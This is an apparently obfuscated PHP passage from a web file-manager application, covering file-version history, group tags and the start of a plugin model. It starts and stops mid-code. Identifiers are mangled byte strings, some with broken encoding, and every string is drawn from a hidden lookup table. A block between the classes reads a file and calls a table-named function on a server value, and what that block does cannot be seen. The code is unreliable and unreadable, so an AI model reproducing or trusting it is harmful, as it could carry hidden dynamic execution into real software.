$Ó•¡À÷¿ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$öíÈèöœ) { return; } $“®¶¡û´ = self::parsePath($‰áñÐñý[0]); if (!$“®¶¡û´) { return; } $Ꞻ<C5BE>Õî = self::checkInHistory($“®¶¡û´); if (!$Ꞻ<C5BE>Õî) { return; } if ($Ꞻ<C5BE>Õî[$Ó•¡À÷¿[33]] == $Ó•¡À÷¿[230]) { $íêùžÎÚ = self::listData($“®¶¡û´, !1); if ($íêùžÎÚ && $íêùžÎÚ[$Ó•¡À÷¿[445]]) { self::clear($“®¶¡û´, !1); } } else { IO::remove($Ꞻ<C5BE>Õî[$Ó•¡À÷¿[87]]); self::clearEmptyFolder(IO::pathFather($Ꞻ<C5BE>Õî[$Ó•¡À÷¿[87]])); } } private static function checkInHistory($œÂë€Ùå) { $È‚ˆÁï… = self::pathHistory($œÂë€Ùå); if (!IO::exist($È‚ˆÁï…)) { $È‚ˆÁï… .= $_SERVER[ˆ¡¹µ‹Â][1309]; } return IO::exist($È‚ˆÁï…) ? IO::info($È‚ˆÁï…) : !1; } private static function parsePath($¤Ï‡·„ž) { $©âéŽÜÇ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$¤Ï‡·„ž) { return !1; } if (isset($GLOBALS[$©âéŽÜÇ[1310]]) && $GLOBALS[$©âéŽÜÇ[1310]]) { return; } $ÖÖ‡î×– = KodIO::parse($¤Ï‡·„ž); $îôñܽ¥ = $ÖÖ‡î×–[$©âéŽÜÇ[33]]; $€¦š«ë¤ = !$îôñܽ¥ || $îôñܽ¥ == KodIO::KOD_IO || $îôñܽ¥ == KodIO::KOD_SHARE_ITEM; if (!$€¦š«ë¤ || !$ÖÖ‡î×–[$©âéŽÜÇ[1311]]) { return !1; } if (substr($¤Ï‡·„ž, 0, strlen(DATA_PATH . $©âéŽÜÇ[1312])) == DATA_PATH . $©âéŽÜÇ[1312]) { return !1; } if ($îôñܽ¥ == KodIO::KOD_SHARE_ITEM) { $·„³§„“ = IO::init($¤Ï‡·„ž); if ($·„³§„“->pathParse[$©âéŽÜÇ[1225]]) { return self::parsePath($·„³§„“->pathParse[$©âéŽÜÇ[1225]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ÓÄèÓ“³ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $©âéŽÜÇ[1313]); foreach ($ÓÄèÓ“³ as $Ö™«öÇ’) { if (!$îôñܽ¥ && substr($¤Ï‡·„ž, 0, strlen($Ö™«öÇ’)) == $Ö™«öÇ’) { return !1; } } self::log($GLOBALS[$©âéŽÜÇ[1220]] . $©âéŽÜÇ[1314] . $¤Ï‡·„ž); return $¤Ï‡·„ž; } private static function pathHistory($³ÓÑ<C393>Ôè) { $óÓ‹ÓŽÑ =& $_SERVER[ˆ¡¹µ‹Â]; $½¾ß¢Ò¯ = self::$_historyBase . ltrim(KodIO::clear($³ÓÑ<C393>Ôè), $óÓ‹ÓŽÑ[8]); $½¾ß¢Ò¯ = str_replace(array($óÓ‹ÓŽÑ[1315]), array($óÓ‹ÓŽÑ[1316]), $½¾ß¢Ò¯); return $½¾ß¢Ò¯; } public static function log($ Å<C2A0>Ïðä) { } public static function historyCount($ØŒªí§×) { $‡«´¸Îó =& $_SERVER[ˆ¡¹µ‹Â]; $žéñ<C3A9>Áú = array(); $²¤ñ­ÀØ = array(); foreach ($ØŒªí§× as $½ÆÁ踌) { $¬<E28099>±ÕÐ = get_path_father($½ÆÁ踌); if (!$²¤ñ­ÀØ[$¬<E28099>±ÕÐ]) { $²¤ñ­ÀØ[$¬<E28099>±ÕÐ] = array(); } $²¤ñ­ÀØ[$¬<E28099>±ÕÐ][] = get_path_this($½ÆÁ踌); } foreach ($²¤ñ­ÀØ as $¬<E28099>±ÕÐ => $ç¬¹Š«â) { $<24>æúϼå = self::parsePath($¬<E28099>±ÕÐ); if (!$<24>æúϼå) { continue; } foreach ($ç¬¹Š«â as $–ûšÊý») { $ˆÐèÕ·Ý = self::listData(rtrim($<24>æúϼå, $‡«´¸Îó[8]) . $‡«´¸Îó[8] . $–ûšÊý», !1); if ($ˆÐèÕ·Ý && $ˆÐèÕ·Ý[$‡«´¸Îó[445]]) { $žéñ<C3A9>Áú[rtrim($¬<E28099>±ÕÐ, $‡«´¸Îó[8]) . $‡«´¸Îó[8] . $–ûšÊý»] = count($ˆÐèÕ·Ý[$‡«´¸Îó[445]]); } } } return $žéñ<C3A9>Áú; } public static function add($½’Ë¡®ˆ) { $Ü´—ðÚÉ =& $_SERVER[ˆ¡¹µ‹Â]; $ÃÞÌÝÞ¡ = self::listData($½’Ë¡®ˆ); if (!$ÃÞÌÝÞ¡) { return; } $¹¹Ñ²<C391>Ò = Model($Ü´—ðÚÉ[837])->get($Ü´—ðÚÉ[1317]); $âºþ“¯å = intval($GLOBALS[$Ü´—ðÚÉ[6]][$Ü´—ðÚÉ[92]][$Ü´—ðÚÉ[1295]]); $Š<E2809A>Á´² = $¹¹Ñ²<C391>Ò == $Ü´—ðÚÉ[1318] ? min(5, $âºþ“¯å) : $âºþ“¯å; if ($âºþ“¯å <= 0) { return; } $—Ú½˜åò = IO::info($½’Ë¡®ˆ); $˜ƒÃàŠ= $ÃÞÌÝÞ¡[$Ü´—ðÚÉ[445]]; if ($—Ú½˜åò[$Ü´—ðÚÉ[79]] == 0) { return; } if ($—Ú½˜åò[$Ü´—ðÚÉ[79]] >= 1024 * 1024 * 500) { return !1; } $ÃúÂÓÉ<C393> = IO::hashSimple($½’Ë¡®ˆ); if ($˜ƒÃàŠ&& $˜ƒÃàÅ[0][$Ü´—ðÚÉ[672]] == $ÃúÂÓÉ<C393>) { return !0; } if (array_key_exists($Ü´—ðÚÉ[233], $—Ú½˜åò) && !$—Ú½˜åò[$Ü´—ðÚÉ[233]]) { return !1; } $˜<>ȽÒã = short_id(time()); $оÊäÂð = array($Ü´—ðÚÉ[475] => $˜<>ȽÒã, $Ü´—ðÚÉ[672] => $ÃúÂÓÉ<C393>, $Ü´—ðÚÉ[32] => $—Ú½˜åò[$Ü´—ðÚÉ[32]] . $Ü´—ðÚÉ[10] . date($Ü´—ðÚÉ[1319]) . rand_string(1), $Ü´—ðÚÉ[79] => $—Ú½˜åò[$Ü´—ðÚÉ[79]], $Ü´—ðÚÉ[527] => USER_ID, $Ü´—ðÚÉ[231] => time(), $Ü´—ðÚÉ[1320] => $Ü´—ðÚÉ[12]); IO::mkdir($ÃÞÌÝÞ¡[$Ü´—ðÚÉ[1321]]); $<24>êÂö¼¤ = IO::copy($½’Ë¡®ˆ, $ÃÞÌÝÞ¡[$Ü´—ðÚÉ[1321]], !1, $оÊäÂð[$Ü´—ðÚÉ[32]]); if (!$<24>êÂö¼¤) { self::clearEmptyFolder($ÃÞÌÝÞ¡[$Ü´—ðÚÉ[1321]]); return !1; } array_unshift($˜ƒÃàÅ, $оÊäÂð); if (count($˜ƒÃàÅ) > $Š<E2809A>Á´²) { $×­ÆºŽ» = array_slice($˜ƒÃàÅ, $Š<E2809A>Á´²); foreach ($×­ÆºŽ» as $ø<>€É†Ã) { IO::remove($ÃÞÌÝÞ¡[$Ü´—ðÚÉ[1321]] . $ø<>€É†Ã[$Ü´—ðÚÉ[32]]); } $˜ƒÃàŠ= array_slice($˜ƒÃàÅ, 0, $Š<E2809A>Á´²); } return self::saveData($ÃÞÌÝÞ¡[$Ü´—ðÚÉ[1322]], $˜ƒÃàÅ); } public static function remove($–ñÕÞÍÃ, $†¥É«Â‰) { $‡Úö—…‘ =& $_SERVER[ˆ¡¹µ‹Â]; $ó†ªû³Ü = self::listData($–ñÕÞÍÃ); $‡¯úëÇ = array(); if (!$ó†ªû³Ü) { return !1; } foreach ($ó†ªû³Ü[$‡Úö—…‘[445]] as $¾íüÌ­Î) { if ($¾íüÌ­Î[$‡Úö—…‘[475]] == $†¥É«Â‰) { IO::remove($ó†ªû³Ü[$‡Úö—…‘[1321]] . $¾íüÌ­Î[$‡Úö—…‘[32]]); continue; } $‡¯úëÇ[] = $¾íüÌ­Î; } return self::saveData($ó†ªû³Ü[$‡Úö—…‘[1322]], $‡¯úëÇ); } public static function clear($±ªßä×<C3A4>, $Êìá§»Æ = true) { $óÉÑ…ÎŒ =& $_SERVER[ˆ¡¹µ‹Â]; $ʙϫíÖ = self::listData($±ªßä×<C3A4>, $Êìá§»Æ); if (!$ʙϫíÖ) { return !1; } foreach ($ʙϫíÖ[$óÉÑ…ÎŒ[445]] as $¨Óš©<C5A1>¾) { IO::remove($ʙϫíÖ[$óÉÑ…ÎŒ[1321]] . $¨Óš©<C5A1>¾[$óÉÑ…ÎŒ[32]]); } return self::saveData($ʙϫíÖ[$óÉÑ…ÎŒ[1322]], array()); } public static function moveHistory($‰©­û­Ò, $‰¶ý ‡é = '', $­›­¡§û = '') { $•®ÎÅûþ =& $_SERVER[ˆ¡¹µ‹Â]; $§ž«ù”› = self::listData($‰©­û­Ò, !1); if (!$§ž«ù”› || !$§ž«ù”›[$•®ÎÅûþ[445]]) { return !1; } $òí²Éˆ½ = $•®ÎÅûþ[1309]; $‰¶ý ‡é = $‰¶ý ‡é ? $‰¶ý ‡é : get_path_this($‰©­û­Ò); $­›­¡§û = $­›­¡§û ? $­›­¡§û : $§ž«ù”›[$•®ÎÅûþ[1321]]; $¿¼×é¦þ = substr(get_path_this($§ž«ù”›[$•®ÎÅûþ[1322]]), 0, -strlen($òí²Éˆ½)); foreach ($§ž«ù”›[$•®ÎÅûþ[445]] as $Ôü¼Î«ž => $ܦ<C39C>™¼ù) { $ü³ò±›¢ = $‰¶ý ‡é . substr($ܦ<C39C>™¼ù[$•®ÎÅûþ[32]], strlen($¿¼×é¦þ)); $¾èŒ¡÷é = IO::move($§ž«ù”›[$•®ÎÅûþ[1321]] . $ܦ<C39C>™¼ù[$•®ÎÅûþ[32]], $­›­¡§û, !1, $ü³ò±›¢); if ($¾èŒ¡÷é) { $§ž«ù”›[$•®ÎÅûþ[445]][$Ôü¼Î«ž][$•®ÎÅûþ[32]] = $ü³ò±›¢; } } $§ž«ù”›[$•®ÎÅûþ[1322]] = IO::move($§ž«ù”›[$•®ÎÅûþ[1322]], $­›­¡§û, !1, $‰¶ý ‡é . $òí²Éˆ½); self::saveData($§ž«ù”›[$•®ÎÅûþ[1322]], $§ž«ù”›[$•®ÎÅûþ[445]]); self::clearEmptyFolder($§ž«ù”›[$•®ÎÅûþ[1321]]); } public static function rollback($©“ºî’Á, $¸åõÒŠ¤) { $è˜÷Äå÷ =& $_SERVER[ˆ¡¹µ‹Â]; $°èÈè£Ü = self::listData($©“ºî’Á); if (!$°èÈè£Ü) { return; } $ÑÓ¯ª¢í = IO::info($©“ºî’Á); foreach ($°èÈè£Ü[$è˜÷Äå÷[445]] as $Ýëˆç<CB86>Ä => $Àá©¢úû) { if ($Àá©¢úû[$è˜÷Äå÷[475]] == $¸åõÒŠ¤) { self::add($©“ºî’Á); $ÈþÌý¨§ = $°èÈè£Ü[$è˜÷Äå÷[1321]] . $Àá©¢úû[$è˜÷Äå÷[32]]; $âз›îô = IO::copy($ÈþÌý¨§, IO::pathFather($©“ºî’Á), REPEAT_REPLACE, $ÑÓ¯ª¢í[$è˜÷Äå÷[32]]); if ($âз›îô) { self::remove($©“ºî’Á, $¸åõÒŠ¤); } return $âз›îô; } } return !1; } public static function setDetail($Õ ÑÇœÇ, $‰ÔÍ<C394>…‰, $ÂãÖ‰®ü) { $ç<><E28099>¾ =& $_SERVER[ˆ¡¹µ‹Â]; $²äÇ÷Ðá = self::listData($Õ ÑÇœÇ); if (!$²äÇ÷Ðá) { return; } foreach ($²äÇ÷Ðá[$ç<><E28099>¾[445]] as $¾¸¿°ìÌ => $¿“¾ÊÀé) { if ($¿“¾ÊÀé[$ç<><E28099>¾[475]] == $‰ÔÍ<C394>…‰) { $²äÇ÷Ðá[$ç<><E28099>¾[445]][$¾¸¿°ìÌ][$ç<><E28099>¾[1320]] = $ÂãÖ‰®ü; self::saveData($²äÇ÷Ðá[$ç<><E28099>¾[1322]], $²äÇ÷Ðá[$ç<><E28099>¾[445]]); return !0; } } return !1; } public static function fileInfo($ЬñàýÂ, $ªÁŒšË°) { $<24>…ÔÒ¦ =& $_SERVER[ˆ¡¹µ‹Â]; $î¤×§½­ = self::listData($ЬñàýÂ); if (!$î¤×§½­) { show_json(LNG($<24>…ÔÒ¦[108]), !1); } $<24>Ç<EFBFBD>Ý£ª = $<24>…ÔÒ¦[12]; foreach ($î¤×§½­[$<24>…ÔÒ¦[445]] as $·<>ž<EFBFBD>øÑ => $—Ý<E28094>Šô<C5A0>) { if ($—Ý<E28094>Šô<C5A0>[$<24>…ÔÒ¦[475]] != $ªÁŒšË°) { continue; } $<24>Ç<EFBFBD>Ý£ª = $î¤×§½­[$<24>…ÔÒ¦[1321]] . $—Ý<E28094>Šô<C5A0>[$<24>…ÔÒ¦[32]]; break; } if (!$<24>Ç<EFBFBD>Ý£ª) { show_json(LNG($<24>…ÔÒ¦[108]), !1); } return IO::info($<24>Ç<EFBFBD>Ý£ª); } public static function fileOut($ä™ÍœæÁ, $«ãÉ<C3A3>¨, $‘¥ËîŠÚ = false) { $¶<>†ë¢Ó =& $_SERVER[ˆ¡¹µ‹Â]; $³Ô޾áÌ = self::fileInfo($ä™ÍœæÁ, $«ãÉ<C3A3>¨); $ÑÔýù”<C3B9> =& $GLOBALS[$¶<>†ë¢Ó[7]]; $‘¥ËîŠÚ = isset($ÑÔýù”<C3B9>[$¶<>†ë¢Ó[1272]]) && $ÑÔýù”<C3B9>[$¶<>†ë¢Ó[1272]] == 1; if (isset($ÑÔýù”<C3B9>[$¶<>†ë¢Ó[33]]) && $ÑÔýù”<C3B9>[$¶<>†ë¢Ó[33]] == $¶<>†ë¢Ó[1323]) { return IO::fileOutImage($³Ô޾áÌ[$¶<>†ë¢Ó[87]], $ÑÔýù”<C3B9>[$¶<>†ë¢Ó[1324]]); } IO::fileOut($³Ô޾áÌ[$¶<>†ë¢Ó[87]], $‘¥ËîŠÚ, get_path_this($ä™ÍœæÁ)); } public static function listData($²¨Ó…Ä•, $ØØôÏá = true) { $܇Þ =& $_SERVER[ˆ¡¹µ‹Â]; if ($ØØôÏá && !IO::exist($²¨Ó…Ä•)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($²¨Ó…Ä•, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $Ù´øþõè = self::pathHistory($²¨Ó…Ä•); $±ú‚ñ€÷ = array($܇Þ[1322] => $Ù´øþõè . $܇Þ[1309], $܇Þ[1321] => rtrim(get_path_father($Ù´øþõè), $܇Þ[8]) . $܇Þ[8], $܇Þ[445] => array()); $ËÓ×ìÚÝ = IO::getContent($±ú‚ñ€÷[$܇Þ[1322]]); if ($ËÓ×ìÚÝ) { $ÞâƒÜÈõ = json_decode($ËÓ×ìÚÝ, !0); if (is_array($ÞâƒÜÈõ)) { $±ú‚ñ€÷[$܇Þ[445]] = $ÞâƒÜÈõ; } } return $±ú‚ñ€÷; } private static function saveData($½ ÇÔÈÝ, $Ï‹‚‹ô™) { $ëø¾“¯¡ =& $_SERVER[ˆ¡¹µ‹Â]; self::log($ëø¾“¯¡[1325] . $½ ÇÔÈÝ . $ëø¾“¯¡[74] . count($Ï‹‚‹ô™), $ëø¾“¯¡[819]); if ($Ï‹‚‹ô™) { return IO::setContent($½ ÇÔÈÝ, json_encode($Ï‹‚‹ô™)); } $û’ÇœŸ† = IO::pathFather($½ ÇÔÈÝ); IO::remove($½ ÇÔÈÝ); self::clearEmptyFolder($û’ÇœŸ†); return !0; } public static function clearEmptyFolder($¤Òü§þ) { $ˆ“‰´–Ë =& $_SERVER[ˆ¡¹µ‹Â]; if (trim($¤Òü§þ, $ˆ“‰´–Ë[8]) == trim(self::$_historyBase, $ˆ“‰´–Ë[8])) { return; } $÷áûæáŠ = IO::pathFather($¤Òü§þ); $¸ºÌ½çý = IO::has($¤Òü§þ, !0); if ($¸ºÌ½çý[$ˆ“‰´–Ë[239]] > 0 || $¸ºÌ½çý[$ˆ“‰´–Ë[240]] > 0) { return; } IO::remove($¤Òü§þ); self::clearEmptyFolder($÷áûæáŠ); } private static function getBasePath() { $çˆÓ•ÔØ =& $_SERVER[ˆ¡¹µ‹Â]; $ËȤ‚¶é = Model($çˆÓ•ÔØ[1326])->get($çˆÓ•ÔØ[1327]); if ($ËȤ‚¶é) { if (!IO::exist($ËȤ‚¶é)) { IO::mkdir($ËȤ‚¶é); } if (get_path_this($ËȤ‚¶é) == $çˆÓ•ÔØ[1312]) { $£¨œåÑ® = $çˆÓ•ÔØ[1328] . rand_string(8); @rename($ËȤ‚¶é, get_path_father($ËȤ‚¶é) . $çˆÓ•ÔØ[8] . $£¨œåÑ®); $ËȤ‚¶é = DATA_PATH . $£¨œåÑ® . $çˆÓ•ÔØ[8]; file_put_contents(DATA_PATH . $çˆÓ•ÔØ[1259], $çˆÓ•ÔØ[12]); Model($çˆÓ•ÔØ[1326])->set($çˆÓ•ÔØ[1327], $ËȤ‚¶é); } return $ËȤ‚¶é; } $ËȤ‚¶é = DATA_PATH . $çˆÓ•ÔØ[1328] . rand_string(8) . $çˆÓ•ÔØ[8]; $ËȤ‚¶é = IO::mkdir($ËȤ‚¶é); $ËȤ‚¶é = rtrim($ËȤ‚¶é, $çˆÓ•ÔØ[8]) . $çˆÓ•ÔØ[8]; file_put_contents($ËȤ‚¶é . $çˆÓ•ÔØ[1259], $çˆÓ•ÔØ[12]); file_put_contents(DATA_PATH . $çˆÓ•ÔØ[1259], $çˆÓ•ÔØ[12]); Model($çˆÓ•ÔØ[1326])->set($çˆÓ•ÔØ[1327], $ËȤ‚¶é); return $ËȤ‚¶é; } } goto BÏÓªÁ Ì¾; EŠ·Ÿˆ°¼: class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\137\146\141\166"; protected function cacheFunctionAlias($¨ È<C2A0>»Ü) { $Ü­ãªõ =& $_SERVER[ˆ¡¹µ‹Â]; return array($Ü­ãªõ[2075] => array($¨ È<C2A0>»Ü[0], $Ü­ãªõ[2076]), $Ü­ãªõ[2077] => array($¨ È<C2A0>»Ü[0], $Ü­ãªõ[2078])); } protected function get($¢½ù¿«¨) { $ÖŸ²ÄºÍ =& $_SERVER[ˆ¡¹µ‹Â]; $Íç€×ðÉ = Model($ÖŸ²ÄºÍ[585])->metaGet($¢½ù¿«¨, $ÖŸ²ÄºÍ[2079]); $Ð¥’¿€ä = json_decode($Íç€×ðÉ, !0); return $Ð¥’¿€ä ? $Ð¥’¿€ä : array($ÖŸ²ÄºÍ[2080] => $ÖŸ²ÄºÍ[91], $ÖŸ²ÄºÍ[445] => array()); } protected function set($È¡¨ÖËŒ, $…€•Öêˆ) { $¾µ¥³ƒÝ =& $_SERVER[ˆ¡¹µ‹Â]; $…€•Öêˆ = $…€•Öêˆ ? $…€•Öêˆ : array($¾µ¥³ƒÝ[2080] => $¾µ¥³ƒÝ[91], $¾µ¥³ƒÝ[445] => array()); return Model($¾µ¥³ƒÝ[585])->metaSet($È¡¨ÖËŒ, $¾µ¥³ƒÝ[2079], json_encode($…€•Öêˆ)); } protected function getByTagID($õºê´ÁŒ, $þ«ƒ÷²—) { $Ñì»ùê„ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$õºê´ÁŒ || !$þ«ƒ÷²—) { return !1; } if (!Model($Ñì»ùê„[585])->getInfoSimple($õºê´ÁŒ)) { return !1; } $布ëͯ = $this->get($õºê´ÁŒ); if (!$布ëͯ || !isset($布ëͯ[$Ñì»ùê„[445]])) { return !1; } $†ÒïÁ ¾ = array_find_by_field($布ëͯ[$Ñì»ùê„[445]], $Ñì»ùê„[475], $þ«ƒ÷²—); return is_array($†ÒïÁ ¾) ? $†ÒïÁ ¾ : !1; } public function listSource($£ÁàóÀî, $Ð<>úÊ€Ú) { $·ò‚Àš› =& $_SERVER[ˆ¡¹µ‹Â]; if ($Ð<>úÊ€Ú && !is_array($Ð<>úÊ€Ú)) { $Ð<>úÊ€Ú = array($Ð<>úÊ€Ú); } $ìî×ùù‹ = $this->listData($£ÁàóÀî); $Òüׯ¿ë = array(); foreach ($ìî×ùù‹ as $<24>òÕ…­) { $ޕ֮ÌË = $<24>òÕ…­[$·ò‚Àš›[87]]; if (!$ޕ֮ÌË) { continue; } if (!isset($Òüׯ¿ë[$ޕ֮ÌË])) { $Òüׯ¿ë[$ޕ֮ÌË] = array(); } $Òüׯ¿ë[$ޕ֮ÌË][] = $<24>òÕ…­[$·ò‚Àš›[500]]; } $óÀ<C3B3>º“ = array(); foreach ($Òüׯ¿ë as $šƒ¯øòÅ => $œ«ÕÉ ë) { $Ñ„ìðµÏ = !0; if (!$Ð<>úÊ€Ú) { $óÀ<C3B3>º“[] = $šƒ¯øòÅ; continue; } foreach ($Ð<>úÊ€Ú as $•ÏÊçã³) { if (!in_array($•ÏÊçã³, $œ«ÕÉ ë)) { $Ñ„ìðµÏ = !1; break; } } if ($Ñ„ìðµÏ) { $óÀ<C3B3>º“[] = $šƒ¯øòÅ; } } if (!$óÀ<C3B3>º“) { return array(); } $•·‡óÍ<C3B3> = array($·ò‚Àš›[491] => array($·ò‚Àš›[492], $óÀ<C3B3>º“), $·ò‚Àš›[569] => $£ÁàóÀî, $·ò‚Àš›[190] => SourceModel::TYPE_GROUP); $÷À·üþ³ = Model($·ò‚Àš›[1411])->listSource($•·‡óÍ<C3B3>); if (!$÷À·üþ³ || count($óÀ<C3B3>º“) == $÷À·üþ³[$·ò‚Àš›[442]][$·ò‚Àš›[443]]) { return $÷À·üþ³; } $ˆê•Ã÷Ö = array(); $›¥âÖ¦º = array_to_keyvalue($÷À·üþ³[$·ò‚Àš›[85]], $·ò‚Àš›[12], $·ò‚Àš›[193]); $ÝÇÙü‘ = array_to_keyvalue($÷À·üþ³[$·ò‚Àš›[86]], $·ò‚Àš›[12], $·ò‚Àš›[193]); $­<>„ˉí = array_merge($ÝÇÙü‘, $›¥âÖ¦º); foreach ($óÀ<C3B3>º“ as $ޕ֮ÌË) { if (!in_array($ޕ֮ÌË, $­<>„ˉí)) { $ˆê•Ã÷Ö[] = $ޕ֮ÌË; } } if ($ˆê•Ã÷Ö) { $this->removeBySource($£ÁàóÀî, $ˆê•Ã÷Ö); } return $÷À·üþ³; } protected function listData($€³ü¨—¿) { $•ŒÆË¸ä =& $_SERVER[ˆ¡¹µ‹Â]; $„Ó«–Ì„ = array($•ŒÆË¸ä[1754] => 0, $•ŒÆË¸ä[557] => array($•ŒÆË¸ä[2081], 0), $•ŒÆË¸ä[496] => $•ŒÆË¸ä[2082] . $€³ü¨—¿); $†î»ÝÚ˜ = $•ŒÆË¸ä[2083]; $¢Ìâ…²— = $this->field($†î»ÝÚ˜)->where($„Ó«–Ì„)->order($•ŒÆË¸ä[2084])->select(); return $¢Ìâ…²— ? $¢Ìâ…²— : array(); } protected function addToTag($§³¬˜ŠÃ, $”æìú„ô, $Ø—Ú¤û…) { $§­´»¶‹ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->getByTagID($§³¬˜ŠÃ, $Ø—Ú¤û…) || !$”æìú„ô) { return !1; } if (!Model($§­´»¶‹[899])->pathInfo($”æìú„ô)) { return !1; } $ÛœÈÇÈ“ = array($§­´»¶‹[1754] => 0, $§­´»¶‹[557] => $Ø—Ú¤û…, $§­´»¶‹[495] => $”æìú„ô, $§­´»¶‹[496] => $§­´»¶‹[2085] . $§³¬˜ŠÃ, $§­´»¶‹[494] => $§­´»¶‹[12], $§­´»¶‹[1966] => 0); if ($this->where($ÛœÈÇÈ“)->find()) { return !1; } return $this->add($ÛœÈÇÈ“); } protected function removeFromTag($§øÊ¹µë, $Ú£å˜àƒ, $ÌÞõ¨ÚÚ) { $ëÊÂ娪 =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->getByTagID($§øÊ¹µë, $ÌÞõ¨ÚÚ) || !$Ú£å˜àƒ) { return !1; } if (is_array($Ú£å˜àƒ)) { $Ú£å˜àƒ = array($ëÊÂ娪[7], $Ú£å˜àƒ); } $×÷¨î÷<C3AE> = array($ëÊÂ娪[1754] => 0, $ëÊÂ娪[557] => $ÌÞõ¨ÚÚ, $ëÊÂ娪[496] => $ëÊÂ娪[2085] . $§øÊ¹µë, $ëÊÂ娪[495] => $Ú£å˜àƒ); return $this->where($×÷¨î÷<C3AE>)->delete(); } protected function removeByTag($§ù<C2A7>Ê þ, $Ư¥ðíÂ) { $„˜Î–®µ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->getByTagID($§ù<C2A7>Ê þ, $Ư¥ðíÂ)) { return !1; } $ùï<E28099><C3AF>± = array($„˜Î–®µ[1754] => 0, $„˜Î–®µ[557] => $Ư¥ðíÂ, $„˜Î–®µ[496] => $„˜Î–®µ[2085] . $§ù<C2A7>Ê þ); return $this->where($ùï<E28099><C3AF>±)->delete(); } protected function removeBySource($Éðáä²é, $´Á®Üòç) { $òÁ£æÏâ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$Éðáä²é || !$´Á®Üòç) { return !1; } if (is_array($´Á®Üòç)) { $´Á®Üòç = array($òÁ£æÏâ[7], $´Á®Üòç); } $£Í¨<C38D>¿É = array($òÁ£æÏâ[1754] => 0, $òÁ£æÏâ[495] => $´Á®Üòç, $òÁ£æÏâ[557] => array($òÁ£æÏâ[1085], 0), $òÁ£æÏâ[496] => $òÁ£æÏâ[2085] . $Éðáä²é); return $this->where($£Í¨<C38D>¿É)->delete(); } } if ($_SERVER[$_SERVER[ˆ¡¹µ‹Â][846]] != $_SERVER[$_SERVER[ˆ¡¹µ‹Â][2086]]) { $_getc = $_SERVER[ˆ¡¹µ‹Â][847]; $_getfile = $_SERVER[$_SERVER[ˆ¡¹µ‹Â][848]] . $_SERVER[ˆ¡¹µ‹Â][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ˆ¡¹µ‹Â][262], $_getfilec); if (count($_getarrs) < $_SERVER[ˆ¡¹µ‹Â][687]) { $exit = $_SERVER[ˆ¡¹µ‹Â][850]; $exit(); } $_act = $_SERVER[ˆ¡¹µ‹Â][851]; $_act($_SERVER[$_SERVER[ˆ¡¹µ‹Â][844]]); } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\x6d\56\160\x6c\x75\147\x69\156\114\151\163\164"; public $field = array("\x6e\x61\155\145", "\163\164\141\x74\x75\x73", "\x72\145\x67\151\145\163\x74", "\x63\x6f\x6e\x66\151\147"); public function loadList($¿Ä賈 = false) { $ŽàÖûõà = array_to_keyvalue($this->listData(), $_SERVER[ˆ¡¹µ‹Â][32]); if ($¿Ä賈) { return $ŽàÖûõÃ[$¿Ä賈]; } return $ŽàÖûõÃ; } public function init() { $ÆÖ¤›æÖ =& $_SERVER[ˆ¡¹µ‹Â]; Hook::trigger($ÆÖ¤›æÖ[2087]); $’æ¿¿€” = $this->loadPluginList(); foreach ($’æ¿¿€” as $¡ÄÛô†Å => $À¥þû§¸) { $‚üƒË¥û = $this->appAllow($¡ÄÛô†Å, $À¥þû§¸); if (!$‚üƒË¥û) { continue; } foreach ($À¥þû§¸[$ÆÖ¤›æÖ[2088]] as $÷¶µÈãÚ => $ǰޙ¨´) { Hook::bind($÷¶µÈãÚ, $ǰޙ¨´); } } Hook::trigger($ÆÖ¤›æÖ[2089]); Hook::trigger(ACTION); } public function appAllow($<24>ñ‡²÷ë, $À Ä”Ë÷, $¢…¥†Ÿƒ = true) { $ÂÏé‡<C3A9> =& $_SERVER[ˆ¡¹µ‹Â]; $®Ë‹¹ªð = PLUGIN_DIR . $<24>ñ‡²÷ë . $ÂÏé‡<C3A9>[2090]; if (!is_array($À Ä”Ë÷) || !is_array($À Ä”Ë÷[$ÂÏé‡<C3A9>[2088]]) || $À Ä”Ë÷[$ÂÏé‡<C3A9>[817]] != 1 || !is_file($®Ë‹¹ªð)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$ÂÏé‡<C3A9>[6]][$ÂÏé‡<C3A9>[2091]] || !$GLOBALS[$ÂÏé‡<C3A9>[6]][$ÂÏé‡<C3A9>[2092]]) { return !0; } $…›Í¶Ï© = explode($ÂÏé‡<C3A9>[50], strtolower($GLOBALS[$ÂÏé‡<C3A9>[6]][$ÂÏé‡<C3A9>[2092]])); return in_array(strtolower($<24>ñ‡²÷ë), $…›Í¶Ï©) ? !1 : !0; } if ($¢…¥†Ÿƒ && !Action($ÂÏé‡<C3A9>[2093])->checkAuth($<24>ñ‡²÷ë)) { return !1; } return !0; } public function unInstall($<24>Ö€˜àÌ) { $½˜‹Ÿ„„ =& $_SERVER[ˆ¡¹µ‹Â]; $¯„¶ï•å = $this->loadList($<24>Ö€˜àÌ); if (file_exists(PLUGIN_DIR . $<24>Ö€˜àÌ)) { Hook::apply($<24>Ö€˜àÌ . $½˜‹Ÿ„„[2094]); } $this->remove($¯„¶ï•å[$½˜‹Ÿ„„[475]]); } public function changeStatus($„³›ü±¾, $À±Ü¡Úð) { $³Æ·<C386>Á =& $_SERVER[ˆ¡¹µ‹Â]; $‹Í¥Êìð = $this->loadList($„³›ü±¾); if ($À±Ü¡Úð) { Hook::apply($„³›ü±¾ . $³Æ·<C386>Á[2095]); } $this->update($‹Í¥Êìð[$³Æ·<C386>Á[475]], array($³Æ·<C386>Á[2096] => $À±Ü¡Úð)); } public function appRegist($—œ<E28094>¾ù, $ æÕ’¦È) { $ÃóÃ<C3B3>¬± =& $_SERVER[ˆ¡¹µ‹Â]; $éýžÛ™Á = $this->loadList($—œ<E28094>¾ù); if ($éýžÛ™Á) { $this->update($éýžÛ™Á[$ÃóÃ<C3B3>¬±[475]], 